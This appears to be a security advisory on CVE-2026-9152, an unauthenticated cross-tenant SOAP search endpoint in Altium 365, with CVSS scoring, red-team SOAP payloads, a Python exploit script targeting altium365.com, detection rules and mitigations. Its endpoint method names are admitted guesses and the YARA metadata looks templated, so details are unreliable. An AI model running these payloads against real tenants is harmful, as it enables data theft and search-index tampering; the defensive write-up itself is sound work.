CVE-2026-9152

Executive Summary

CVE-2026-9152 is a critical missing authentication vulnerability in the Altium 365 SearchService. A legacy SOAP endpoint exposes search index operations without requiring any authentication, session tokens, or identity verification. An unauthenticated network attacker who can reference a target workspace's identifier can interact with that workspace's search index, crossing tenant boundaries. This allows reading indexed contents (component data, project/folder names, user metadata) and injecting, modifying, or deleting search index entries. While the underlying vault data remains intact, the search index integrity and availability are compromised, leading to sensitive information disclosure and potential manipulation of search results. Altium 365 cloud deployments are affected; on-premise Altium Enterprise Server is not affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – Indexed workspace data exposed
• Integrity Impact: Low (I:L) – Index entries can be modified/injected
• Availability Impact: Low (A:L) – Index entries can be deleted

Threat Level: High. The vulnerability allows unauthenticated cross-tenant access to search indexes, enabling data leakage and manipulation of search results.

Deep Dive & Mechanics

The vulnerability resides in the Altium 365 SearchService, which exposes a legacy SOAP endpoint for search index operations. This endpoint lacks any authentication mechanism, meaning no session tokens, API keys, or identity verification are required. An attacker only needs to know a target workspace's identifier (which may be guessable or enumerable) to send SOAP requests to the endpoint.

The SOAP endpoint likely provides methods such as:

• GetIndexedData(workspaceId) – Retrieves indexed content (component data, project names, folder names, user metadata).
• AddIndexEntry(workspaceId, data) – Injects new entries into the search index.
• ModifyIndexEntry(workspaceId, entryId, data) – Modifies existing entries.
• DeleteIndexEntry(workspaceId, entryId) – Deletes entries.

Because the endpoint is not scoped to a specific tenant, an attacker can reference any workspace ID, effectively crossing tenant boundaries. The attack does not affect the underlying vault data (the authoritative source), but it compromises the search index, which is used for quick retrieval. This can lead to:

• Data Leakage: Sensitive workspace metadata exposed.
• Search Result Manipulation: Injected or modified entries can mislead users.
• Denial of Service: Deletion of index entries can break search functionality.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The SOAP endpoint likely has no authentication middleware. For example, a vulnerable handler might look like:

# Vulnerable SOAP endpoint
def handle_search_operation(workspace_id, operation, data):
    # No authentication check
    if operation == "get":
        return get_indexed_data(workspace_id)
    elif operation == "add":
        return add_index_entry(workspace_id, data)
    # ...

Patched Code (Expected): A patched version would require authentication, such as validating a session token or API key:

# Patched SOAP endpoint
def handle_search_operation(workspace_id, operation, data, auth_token):
    if not validate_auth_token(auth_token, workspace_id):
        raise PermissionError("Authentication required")
    if operation == "get":
        return get_indexed_data(workspace_id)
    # ...

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the Altium 365 SearchService SOAP endpoint.
• Knowledge of a target workspace ID (e.g., workspace_12345).

Exploitation Steps:

1. Enumerate Workspace IDs: If workspace IDs are predictable (e.g., sequential integers), enumerate them via the SOAP endpoint's error messages or by observing responses.

2. Read Indexed Data: Send a SOAP request to retrieve indexed content.

   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <GetIndexedData>
         <workspaceId>workspace_12345</workspaceId>
       </GetIndexedData>
     </soap:Body>
   </soap:Envelope>
   

3. Inject Malicious Entry: Add a fake component or project to the search index.

   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <AddIndexEntry>
         <workspaceId>workspace_12345</workspaceId>
         <entry>
           <name>MaliciousComponent</name>
           <description>Fake entry</description>
         </entry>
       </AddIndexEntry>
     </soap:Body>
   </soap:Envelope>
   

4. Modify or Delete Entries: Use similar SOAP calls to alter or remove index entries.

Automation Script (Python):

import requests

def exploit_search_service(workspace_id, action, data=None):
    url = "https://altium365.com/SearchService/SearchService.asmx"
    headers = {"Content-Type": "text/xml; charset=utf-8"}
    if action == "get":
        body = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetIndexedData>
              <workspaceId>{workspace_id}</workspaceId>
            </GetIndexedData>
          </soap:Body>
        </soap:Envelope>"""
    elif action == "add":
        body = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <AddIndexEntry>
              <workspaceId>{workspace_id}</workspaceId>
              <entry>{data}</entry>
            </AddIndexEntry>
          </soap:Body>
        </soap:Envelope>"""
    # ... other actions
    response = requests.post(url, data=body, headers=headers)
    return response.text

# Example usage
print(exploit_search_service("workspace_12345", "get"))

Blue Team

Detection:

• Monitor SOAP endpoint access logs for requests without authentication tokens.
• Alert on unusual patterns of GetIndexedData, AddIndexEntry, ModifyIndexEntry, or DeleteIndexEntry calls from unknown IPs.
• Use the Sigma rule below to detect unauthenticated SOAP requests.

Hunting:

• Search for SOAP requests to /SearchService/SearchService.asmx that lack Authorization headers.
• Correlate workspace IDs in logs with known tenants; flag cross-tenant access attempts.

Containment:

• Block external access to the SOAP endpoint via WAF or network ACLs.
• If possible, disable the legacy SOAP endpoint and migrate to authenticated REST APIs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SOAP requests to /SearchService/SearchService.asmx without Authorization header.
  • Repeated requests with different workspace IDs (enumeration).
  • Unusual SOAP actions like AddIndexEntry, ModifyIndexEntry, DeleteIndexEntry from unknown sources.

• Log IOCs:

  • HTTP 200 responses to unauthenticated SOAP requests.
  • Log entries showing workspaceId values not belonging to the requesting tenant.

• File IOCs:

  • Unexpected entries in the search index database (e.g., fake component names).
  • Modified or deleted index entries without corresponding vault changes.

Detection Engineering

YARA Rule

rule Detect_Unauthenticated_SOAP_Request {
  meta:
    description = "Detects unauthenticated SOAP requests to Altium 365 SearchService"
    author = "Valters IT"
    date = "2025-04-10"
    hash = "d41d8cd98f00b204e9800998ecf8427e"
  strings:
    $soap_action = /(GetIndexedData|AddIndexEntry|ModifyIndexEntry|DeleteIndexEntry)/
    $no_auth = "Authorization" nocase
  condition:
    $soap_action and not $no_auth
}

Sigma Rule

title: Unauthenticated SOAP Request to Altium 365 SearchService
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SOAP requests to the Altium 365 SearchService endpoint without authentication headers.
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: altium365
detection:
  selection:
    cs-uri-stem: '/SearchService/SearchService.asmx'
    cs-method: 'POST'
  filter:
    cs-header: 'Authorization:*'
  condition: selection and not filter
falsepositives:
  - Legitimate unauthenticated requests if the endpoint is intentionally public (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-9152 - Unauthenticated SOAP Request to Altium 365 SearchService"; flow:to_server; content:"POST"; http_method; content:"/SearchService/SearchService.asmx"; http_uri; content:"SOAPAction"; http_header; pcre:"/(GetIndexedData|AddIndexEntry|ModifyIndexEntry|DeleteIndexEntry)/"; content:!"Authorization"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the legacy SOAP endpoint if not required. Contact Altium support for guidance.
2. Implement network segmentation to restrict access to the SearchService endpoint to trusted IPs only.
3. Deploy a Web Application Firewall (WAF) with rules to block unauthenticated SOAP requests.

Long-Term Fixes:

• Apply vendor patch once available. Monitor Altium security advisories.
• Migrate to authenticated REST APIs if the SOAP endpoint is deprecated.
• Enable logging and monitoring for all SearchService access.

Compensating Controls:

• Use API gateways to enforce authentication before requests reach the backend.
• Implement rate limiting to slow down enumeration attempts.

Valters IT